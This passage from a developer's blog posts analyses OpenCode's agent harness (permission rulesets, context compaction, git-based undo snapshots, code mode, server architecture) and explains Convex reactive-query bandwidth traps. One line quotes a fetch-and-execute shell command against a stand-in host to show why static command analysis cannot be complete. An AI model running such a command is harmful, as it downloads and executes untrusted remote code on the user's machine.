Every entry carries an example as a trailing comment, "docker compose": 3, // docker compose up, because rule 5 of the prompt asked for one. A piece of security-adjacent policy that was tedious rather than hard, so somebody had a model write it and committed the receipt.

The trade being made

All of this runs in the same process as the agent. Codex ships three OS sandboxes instead: Seatbelt on macOS, bubblewrap plus seccomp on Linux, and a Windows one. OpenCode has none, and every check above is a TypeScript function deciding whether to let a call through.

What OpenCode built is good engineering, but it is static analysis of a shell command, and static analysis of shell commands is a game you cannot win outright. eval "$(curl evil.sh)" parses as one harmless-looking command with no path arguments at all. The file knows this, which is why anything containing $(, ${ or a backtick is treated as dynamic and refuses to resolve to a path. Refusing to guess is the correct behavior and it still leaves the command running.

Codex's answer to the same problem is to ask the kernel to make the write impossible, and the kernel does not care how clever your string is. One of these approaches degrades gracefully and one does not. OpenCode's compensation is a different subsystem entirely: the undo.

Modes and subagents: mostly permission rulesets with prompts attached

Once you have a permission vocabulary this expressive, other features stop needing code. agent/agent.ts defines seven built-in agents. You talk to build and plan directly, you can delegate to general and explore, and three are hidden from you entirely:

compaction: { mode: "primary", hidden: true, prompt: PROMPT_COMPACTION,
              permission: Permission.merge(defaults, Permission.fromConfig({ "*": "deny" }), user) },
title:      { mode: "primary", hidden: true, temperature: 0.5, prompt: PROMPT_TITLE,
              permission: ... "*": "deny" },
summary:    { mode: "primary", hidden: true, prompt: PROMPT_SUMMARY,
              permission: ... "*": "deny" },

The thing that summarizes your conversation when it overflows is an agent. So is the thing that names your session in the sidebar. They go through the same loop, the same provider layer and the same message store as your main session, and the only thing separating them from it is a ruleset denying every tool and a prompt of about 126 words.

plan mode, which other tools implement as a special execution path, is here a ruleset too:

edit: {
  "*": "deny",
  [path.join(".opencode", "plans", "*.md")]: "allow",
}

Plan mode is "deny all edits, except into the plans directory." No mode flag threaded through the codebase, no branch in the executor. It falls out of a config object, which means you can build your own plan mode in opencode.json without touching the source.

The one piece of real machinery is visibleTools(), which reads the ruleset and drops any tool whose blanket rule is deny before the request is even assembled. explore denies everything and re-allows seven read-only tools, so an explore subagent is not a model resisting the urge to edit files. It is a model that was never shown an edit tool.

Context management: what gets thrown away and when

Every turn appends to the conversation and nothing ever leaves on its own. Tool output is most of the weight: a grep across a large repo, a two-thousand-line file read, the log from a test run that failed. Sooner or later the next request will not fit in the model's window and something has to go. Deciding what is the whole subsystem, and it's the one place in a harness where a wrong answer is invisible. The model doesn't raise an error when you drop the thing it needed. It just quietly stops knowing it.

Unusually for this kind of code, the entire policy is named constants at the top of one file:

export const PRUNE_MINIMUM = 20_000
export const PRUNE_PROTECT = 40_000
const TOOL_OUTPUT_MAX_CHARS = 2_000
const PRUNE_PROTECTED_TOOLS = ["skill"]
const DEFAULT_TAIL_TURNS = 2
const MIN_PRESERVE_RECENT_TOKENS = 2_000
const MAX_PRESERVE_RECENT_TOKENS = 8_000

The loop calls isOverflow() on every pass, which adds up the whole conversation, including the tokens the provider served out of cache, and compares it against what the model can actually take. When the count crosses that line, compaction.create() runs and the loop starts over.

Compaction draws a line across the conversation. Everything after the line is left completely alone, and keeps going to the model exactly as it was written. Everything before the line is deleted from the request and replaced with a few paragraphs of summary. The code calls those two halves the tail and the head.

Where the line falls is a token budget, and the budget is one expression:

Math.min(MAX_PRESERVE_RECENT_TOKENS,
         Math.max(MIN_PRESERVE_RECENT_TOKENS, Math.floor(usable(input) * 0.25)))

A quarter of what the model can actually take, floored at 2,000 tokens and capped at 8,000. A model with a big window keeps more of its recent history untouched than a small one does. And if even the single newest turn is bigger than that budget, the line falls inside that turn rather than in front of it.

The head doesn't go to the summarizer as messages. It's flattened into a plain text transcript first:

[User]: find where the form validation lives

[Tool result]: src/form.tsx:42:  async function handleSubmit(...

TOOL_OUTPUT_MAX_CHARS is the cap applied while that transcript is built, and nowhere else. Every [Tool result] line gets cut to its first 2,000 characters. It is not a limit on what your model sees during a normal turn, it's a limit on how much of any one tool result the summarizer may read while deciding what mattered. The transcript goes to the hidden compaction agent from the previous section, and its reply is stored as an ordinary assistant message flagged summary: true. Everything it covers stops being sent from then on. The old messages are still sitting in SQLite.

The three PRUNE_ constants belong to a second mechanism, and it's off unless you ask for it: compaction.prune defaults to false. Pruning clears the results of old tool calls in place, protecting the newest 40,000 tokens of tool output and only bothering at all if it can reclaim more than 20,000, since rewriting stored messages invalidates the provider's prompt cache. What it clears is the result only. The record that the call happened, and with what arguments, stays.

PRUNE_PROTECTED_TOOLS has exactly one entry: skill. A skill exists to inject instructions the model is supposed to keep following, so clearing its output would leave the model three turns later still acting on a procedure whose text is no longer in front of it, with no error to trace that back from. Naming the exception in a constant beats burying it in a condition.

One last number. Overflow is measured against usable(), which is the model's input limit minus a reserve, and the reserve is room for the model's own reply:

Math.min(COMPACTION_BUFFER, ProviderTransform.maxOutputTokens(input.model, input.outputTokenMax))

The window has to hold the conversation and the response coming back, so you have to call it overflow before the conversation alone fills it. COMPACTION_BUFFER = 20_000 is only a ceiling on that: whatever the model claims it can emit, don't hold back more than twenty thousand tokens waiting for it.

None of this is clever. It's just written down where you can see it and change it, which almost nothing else in this space is.

Undo: a second git repository your git log has never heard of

OpenCode has an undo. /undo rewinds the session by one user message: the conversation steps back, your prompt lands back in the input box, and your files go back to how they were before that message ran. /redo steps forward again.

The conversation half of that is easy. Messages are rows in SQLite, so rewinding them is bookkeeping. The files are the hard half, because the agent edits them in place. Nothing is staged, nothing is pending, every edit lands on disk for real. Undo the chat without undoing the disk and you'd have a conversation that never mentions the refactor and a working tree full of it.

So while the model works, OpenCode keeps taking snapshots of your project: once before the stream opens, then again as each step starts and finishes. Each message part records the id of the snapshot from its moment. Undo is then a lookup. Find the snapshot belonging to the message you're rewinding to, and write those files back over your project.

To take a snapshot, OpenCode doesn't copy files itself. It shells out to the git binary and lets git do the storing, the same way you'd script it by hand. These are OpenCode's own subprocesses, nothing to do with any git the model might run in your terminal. Which raises the obvious question of where the snapshots go. Not into your repository: git stash and scratch branches both leave agent debris in the history you care about.

Instead OpenCode leans on a distinction git usually hides. A repository is really two things: the .git folder holding the stored objects, and the working tree, the files on disk being tracked. They normally live together and you never think about them separately. But two flags let you point at each one independently, and OpenCode puts both on every git command the snapshot code spawns:

gitdir: path.join(Global.Path.data, "snapshot", ctx.project.id, Hash.fast(ctx.worktree))
const args = (cmd: string[]) => ["--git-dir", state.gitdir, "--work-tree", state.worktree, ...cmd]

The first line builds gitdir, a path inside OpenCode's own data directory, ~/.local/share/opencode, one folder per project. The second line puts both flags in front of every git command, so each one runs like this:

git --git-dir   ~/.local/share/opencode/snapshot/<project>/<hash> \
    --work-tree ~/code/your-project \
    <command>

That command reads the files in ~/code/your-project and stores what it snapshots in OpenCode's folder. Your own .git is never opened. Nothing appears in git log, there are no stash entries to clean up, and deleting ~/.local/share/opencode costs you nothing but your undo history.

A snapshot isn't even a commit. track() ends with git write-tree, which stores a tree object and returns its hash, and that hash is the whole snapshot. No commit, no branch, no message. The shadow repository is just a bag of trees keyed by hash.

Snapshotting around every step sounds expensive, and it is on the critical path: track() takes a lock and the loop waits for it. But it never scans your whole project. It asks git what moved, diff-files for tracked changes and ls-files --others for new files, drops anything gitignored or over a size limit, and stages only what's left. After a one-line edit, the snapshot stages one file.

Which raises a fair question: if a snapshot is usually a file or two, why involve git at all? Because a step can touch anything. The model can emit several tool calls in one step, and a single shell call can rewrite hundreds of files by itself, since npm install and a codemod and git checkout are all just commands. And undo rewinds across many steps at once, where some files have to reappear and others have to vanish. What you restore is the project at a moment, not a file.

Git gives all of that away for free. A tree hash names an entire project state while only paying for the blobs that changed, everything else being shared with the tree before it. Restoring one is two commands. The file list the UI shows per step is git diff --cached against the step's hash. Skipping node_modules is git check-ignore against your own rules. Keeping the folder from growing forever is git gc. Build this by hand and you've written content-addressed storage, tree diffing, ignore matching and garbage collection.

One problem is left: the very first snapshot. A fresh shadow repository has nothing stored, so the first add has to hash every file you own. Someone hit that:

// Reuse the hashes for the git storage between the original repo and snapshot
// on huge repos like chromium checkout the git add --all rebuilding the
// hashes can take minutes. By doing this we eliminating this at all

The fix is a git feature called alternates: a repository can borrow another one's stored objects instead of keeping its own copies. OpenCode writes one line of config into the shadow repository, and that line is the path to your .git/objects. Everything already in your history is found there, so the opening add has almost nothing left to hash. Your existing index is copied over as a seed too, and the shadow repository is initialized with feature.manyFiles, index.version 4 and core.untrackedCache, the settings you reach for when a worktree is enormous.

None of that touches your repository. The config file sits in OpenCode's folder, not yours, and all it does is name one more place for git to read from.

That's the whole undo story: a second git repository that stores loose trees, and one line of config so the first snapshot isn't slow.

Code mode: the experiment that could replace the tool list

That's the harness as it ships. This section is the one place the post looks forward instead, at an experiment aimed squarely at the tool surface from earlier.

Start with what tool calling costs today. Every MCP server you connect adds the full schema of every one of its tools to every request, whether or not the model ever uses them. And every tool result comes back through the model. Independent calls can go out together in one step, but the moment one call's output decides the next call, that's a round trip: the result lands in the context window, the model reads it, and only then can it emit the next call. Chain ten dependent lookups and you pay ten round trips, with all ten intermediate results sitting in the window even if you only needed one number out of the last.

Code mode is an experiment, behind a flag, that attacks both costs at once. Turn it on and OpenCode stops handing the model MCP tools at all. It gets one tool instead, called execute, and the argument to execute is a JavaScript program.

Inside that program, every MCP tool is a plain function, filed under its server's name: tools.<server>.<tool>. Say you've connected a GitHub MCP server that has a get_issue tool. Instead of emitting a tool call and waiting for the harness, the model writes:

// calling the function runs the real get_issue tool on the github server
const issue = await tools.github.get_issue({ number: 42 })
// issue is just a variable now holding the tool's result
return { title: issue.title, isStale: issue.state === "open" }

The tool call became a line of code, and the tool's result became a value in a variable. That's the whole trick. In the normal loop, get_issue's result would be pasted into the context window for the model to read before it could do anything with it. Here the program reads it, keeps the two fields that matter, and only the object after return travels back to the model.

And because it's a program, it can chain dependent calls, loop, branch, and run independent calls in parallel, all in one round trip regardless of how many tools it touches. The intermediate results live and die inside the program.

How does the model know tools.github.get_issue exists? A catalog: every connected tool listed as a type signature, packed into the execute tool's description under a token budget of 2,000 by default. That replaces the pile of JSON schemas from before. Tools that don't fit the budget get a one-line stub the model can look up when it needs the details.

The part that surprised me is how the program runs. I went in expecting a sandboxed eval, or a VM context with the dangerous globals deleted, which is how everyone else does this. packages/codemode is an actual JavaScript interpreter, 3,465 lines in src/interpreter/runtime.ts, with its own standard library across twelve modules: collections, console, date, json, math, number, object, promise, regexp, string, url, value. The library is an allowlist that goes down to individual method names. collections.ts opens with a set of exactly 35 array methods, and anything not in that set does not exist inside a program. Someone sat down and enumerated the array methods an agent is allowed to call. require and fetch and process are not missing so much as never implemented. Tool arguments are validated against schemas before each call, results are copied across a plain-data boundary on the way back, and there are execution limits. The README puts the boundary plainly:

without receiving ambient filesystem, process, network, module, or application authority

Today the experiment stops at the MCP surface: the 17 built-in tools still ship as ordinary tools, and execute covers everything you connected on top. But the direction is bigger than that, and OpenCode isn't alone in it. Codex is heading the same way with "tool_mode": "code_mode_only" on its newest models. Two teams, independently, decided the answer is to stop showing the model a menu.

The last few years of harness design assumed the job was to describe tools well enough that the model picks the right one. Code mode assumes the model is a competent programmer and the harness should just hand it an API. If that's right, most of the 29,000 words in Claude Code's tool descriptions are describing something the model would rather have as a type signature.

The architecture: a server that happens to have a terminal attached

Run opencode and what starts looks like a terminal program. It's really two programs. One is an HTTP server that runs the agent: every subsystem in this post lives inside it. The other is the terminal UI, and it's a client of that server, with no more access than any other program that speaks HTTP.

The server is the half that matters. Everything a client needs to drive the agent is an endpoint on it: create a session, send a message, answer the permission prompt or the question the agent just raised, browse the diff, and an event stream that pushes everything happening in the session to whoever is listening. The API also describes itself: server/server.ts produces an OpenAPI document, a machine-readable list of every endpoint, and the client SDK is generated from that document instead of written by hand, so every client always matches the server. The server can even announce itself over mDNS, the same protocol that makes printers appear on your network, so a browser on another machine can find the session running on your laptop.

Every subsystem this post has walked through, the tools, the prompts, the compaction, the snapshots, lives inside that one server box in the middle. The harness is a component inside a service, the service is the product, and the terminal is a client with no more standing than the browser tab.

Now the clients, one at a time. The first is the terminal UI, which is built like a web app that happens to render into a terminal: SolidJS running on OpenTUI, a reactive framework drawing your prompt. Here it is mid-session:

This one screen touches most of the subsystems from this post. The Grep, Glob and Read calls in the middle are the tool surface, named tools instead of the model reasoning its way to rg. The "Asking questions" line is the question tool, which only exists when the client is the CLI, app or desktop. The footer says Claude Opus 4.5, a model running in a harness with no relationship to Anthropic, which is why there are nine system prompts. And the token counter in the top right is the compaction machinery watching the window fill up.

The second client is a browser:

The address bar gives the whole thing away: 127.0.0.1:4096, then a session ID. This is not a separate web app that resembles the terminal one, it's a browser pointed at the same server already running on your laptop, showing the same session. The header carries a live connection indicator and a count of connected MCP servers, and the right pane is reviewing the session's diff.

The third client is the VS Code extension, though this shot of it is from a much older build, back when the version string still read v0.4.45:

That leaves one box in the architecture diagram unexplained: the 38 language servers. These are the same LSP servers your editor runs, things like typescript-language-server and rust-analyzer, except here the opencode server detects which ones your project needs, installs them, and runs them itself. lsp/server.ts is 1,983 lines doing exactly that. They exist to check the agent's work during the edit tool: right after tool/edit.ts applies an edit, it calls lsp.touchFile() and lsp.diagnostics() and folds any errors into the tool result, so the model sees what it just broke immediately instead of three steps later. And because it's your real language server rather than a syntax check, the errors it catches are the ones your build would have caught, in whatever language you happen to be writing.

What I actually think after the deep dive

The rough edges first, because they're real. OpenCode has no sandbox worth the name, its own agents file admits the LLM layer is mid-migration between two runtimes, there's a beast.txt in the prompts directory, and a dead 2,283-word prompt nobody got round to deleting. It reads like a codebase being changed faster than anyone has time to tidy it, which, in this space right now, is probably what shipping looks like.

None of that changes what this codebase is best at, which is being learned from. Every subsystem you can only describe in the abstract from the outside turned out to be a file, and the surprise was how small each one is. The permission engine is a ten-line function over a flat list of triples. The whole context policy is seven constants. Plan mode is a config object. The thing that summarizes your conversation is an ordinary agent with every tool denied. The parts I expected to be frameworks were mostly data, and the parts I expected to be simple, like turning a shell command into a permission pattern, were where all the code went.

The three big harnesses still bet differently. Claude Code believes in the tool surface and spends 29,000 words on it. Codex believes the model already knows the terminal and spends its complexity on kernel sandboxes instead. OpenCode believes the right answer depends on which model you loaded, and swaps its prompts and its tools accordingly.

But there's a fourth position now, and both OpenCode and Codex are quietly building it: code mode. Collapse the tool list into one execute tool and let the model write programs against the rest. The harness would still do all the same work. It would just spend far fewer words describing it.

I'm Dheeraj, a software engineer at Nutanix Enterprise AI working on agent
harnesses and developer tools. I write up the problems that took me too long to
work out. More at dheerajakula.dev/blog.

Why a two-user Convex chat app read tens of MB a day

Dheeraj Akula — Sun, 16 Aug 2026 19:43:18 +0000

I was staring at my Convex dashboard, confused. Convex is the reactive backend I use for a chat app: it stores the data and, the part that matters here, it keeps your queries live, so the UI updates the instant the data changes. The dashboard has a meter called "Database Bandwidth," and for two users, me on a dev account and me on a prod account, poking the app for maybe half an hour, it was reading tens of megabytes a day.

That made no sense to me. It's a chat app. The actual messages were a few hundred kilobytes, tops. Where were the megabytes coming from? I assumed I'd stored something huge by accident. I hadn't. The data really was tiny. The bandwidth was real. Both things were true at once, and the gap between them is the whole story.

The one sentence that explains everything

Here's the thing nobody put plainly for me, so let me put it plainly for you. In Convex, "Database Bandwidth" is the bytes of documents your functions read and write per execution. And a reactive query re-executes every single time any document in its result changes.

Unpack "reactive query," because it's the load-bearing idea. When your React app calls useQuery(...), it isn't a one-shot fetch. It's a subscription. Convex runs the query on the server, sends you the result, and then keeps watching. The moment any document that query touched changes, Convex re-runs the whole query and pushes the fresh result to every client subscribed to it. That's what makes the UI feel live, and it's wonderful, right up until it's your bill.

So bandwidth is not "the size of your data." It's:

bandwidth  =  size of the query result  ×  how many times it re-runs

That multiplier on the right is where megabytes come from. A query that returns 200 KB and re-runs 150 times because the data kept changing has moved 30 MB, even though you only ever stored 200 KB. Drag the inputs here and watch a few KB of data turn into a daily bill:

Once I saw it as a multiplication, the question stopped being "what did I store" and became "which queries re-read a lot of data, a lot of times." That reframing found every problem.

Trap 1: a plain query re-reads the whole list (pagination is the knob)

My message list was a plain useQuery that returned the conversation's messages. Every time a new message arrived, that query re-ran and re-shipped the entire list. Message 50 lands, and Convex re-reads and re-sends messages 1 through 50. Message 51 lands, it re-sends 1 through 51. The cost of one new message grows with how long the conversation already is.

The fix is Convex's usePaginatedQuery, and it's worth understanding why it works, because it's the single most useful thing I learned here. Pagination loads the list in pages, and each page is its own separate subscription. When a new message lands at the top, only the newest page re-runs. The older pages you already loaded just sit there, untouched, costing nothing. Press the button on both modes:

This reframed pagination for me completely. I'd always thought of it as a UI nicety, load more as you scroll. In Convex it's the actual mechanism for "only re-read what changed." There's no separate incremental-update knob you're missing. Pagination is the knob. If a list can grow and it's reactive, paginate it.

Trap 2: streaming an LLM reply was secretly quadratic

This was the sneaky one. When the model streams a reply token by token, I was saving progress by writing the accumulated text back to a document on every flush. Token 1: write "Hi". Token 2: write "Hi there". Token 3: write "Hi there friend". Each write carries the whole string so far.

Add that up. Writing 1 token, then 2, then 3, all the way to N, is 1 + 2 + 3 + ... + N, which is N²/2. That's quadratic: double the reply length and you quadruple the bytes. A reply that's a few KB of final text can write tens of KB getting there, and that's before the reactive read side re-ships it to the client on every flush too. Drag the token count and watch the two approaches split apart:

The fix is to stop rewriting the whole buffer. Append only the new piece each flush (or stream the text over a separate channel and write the document once at the end). Same final message, linear instead of quadratic. The bigger lesson: anything that rewrites a growing value inside a loop is a quadratic trap waiting to happen, and reactivity multiplies the damage because every rewrite is also a re-read for every subscriber.

Trap 3: `.collect()` reads the entire table, every call

A couple of my server functions did something like this to count or check usage:

const all = await ctx.db
  .query("messages")
  .withIndex("by_conversation", (q) => q.eq("conversationId", id))
  .collect();

.collect() pulls every matching row into an array. If a function like a daily-usage check or a rate-limiter runs on every single message and calls .collect() over a whole conversation, it re-reads the entire conversation every time someone sends a message. That read scales with table size, on the hot path.

Two fixes, depending on what you actually need:

If you only need the recent ones, bound the query: .order("desc").take(25) reads at most 25 rows instead of all of them. Bounded and linear, not "everything, forever."
If you only need a count or a sum, denormalize it: keep a running counter on a parent document and update it on write, so you never re-read the children just to count them.

The rule I took away: .collect() on a hot path is a smell. If it can run often, bound it or precompute it.

Trap 4: an unstable argument silently re-subscribes

This one cost me an hour because nothing looked wrong. I passed an array of ids into a query as an argument, and I built that array fresh on every render with .map(...). In JavaScript a new array is a new identity even if the contents are identical. Convex keys a subscription by its arguments, so a new argument identity looks like a brand new query: it re-subscribes and re-runs from scratch. Every render. For a query doing N lookups, that's N reads on every render, for nothing.

The fix is boring and important: keep query arguments stable. Memoize the array, or better, push the work to the server so you pass a single id instead of a list the client keeps rebuilding. Stable args in, no phantom re-subscriptions.

One more, for free: immutable history doesn't need a subscription

Old messages don't change. So there's no reason to keep them in a live query at all. The clean shape for a long feed is to keep only the newest page as a reactive subscription, and load older history with a one-shot fetch (useConvex().query(...)) that reads it once and never watches it again. Live where things change, static where they don't.

The takeaway

If a Convex bill looks insane next to how little data you actually store, don't go hunting for a giant document. Go hunting for the multiplier. Bandwidth is result size times re-reads, so the wins are all about shrinking one of those two numbers: paginate growing lists so only the newest page re-runs, never rewrite a growing value in a loop, bound or denormalize anything that would otherwise .collect() a whole table, keep query arguments stable, and don't subscribe to data that can't change. None of it is exotic. It's just the same question asked five ways: is this query re-reading more than it has to, more often than it has to?

I'm Dheeraj, a software engineer at Nutanix Enterprise AI working on agent
harnesses and developer tools. I write up the problems that took me too long to
work out. More at dheerajakula.dev/blog.

DEV Community: Dheeraj Akula

What is an agent harness? Claude Code vs Codex CLI vs OpenCode

A harness is a while loop with function calls

Claude Code: maximal tools, industrial context engineering

Codex CLI: give it a shell and get out of the way

OpenCode: the harness with no favorite model

The thing two of them are quietly building next

What I'd actually take away

Why a static Three.js scene still cooks your phone, and the dirty-flag fix

A still frame is not a free frame

Render on demand

The two settings that quietly double your GPU bill

Two more leaks worth closing

The takeaway

Why programmatic inserts don't wrap on iOS multiline TextInput, and the one-line native fix

The bug

The folklore fix

Reading the library

Why the 2016 fix doesn't apply

What I actually needed

OpenCode source code deep dive: how an open source agent harness really works

The session loop: what the while (true) actually does

System prompts: one per model family

The tool surface: seventeen tools that change with the model

Permissions: how the harness decides what to allow

The ask lifecycle

Turning a shell command into a pattern

The arity dictionary

The trade being made

Modes and subagents: mostly permission rulesets with prompts attached

Context management: what gets thrown away and when

Undo: a second git repository your git log has never heard of

Code mode: the experiment that could replace the tool list

The architecture: a server that happens to have a terminal attached

What I actually think after the deep dive

Why a two-user Convex chat app read tens of MB a day

The one sentence that explains everything

Trap 1: a plain query re-reads the whole list (pagination is the knob)

Trap 2: streaming an LLM reply was secretly quadratic

Trap 3: .collect() reads the entire table, every call

Trap 4: an unstable argument silently re-subscribes

One more, for free: immutable history doesn't need a subscription

The takeaway

The session loop: what the `while (true)` actually does

Trap 3: `.collect()` reads the entire table, every call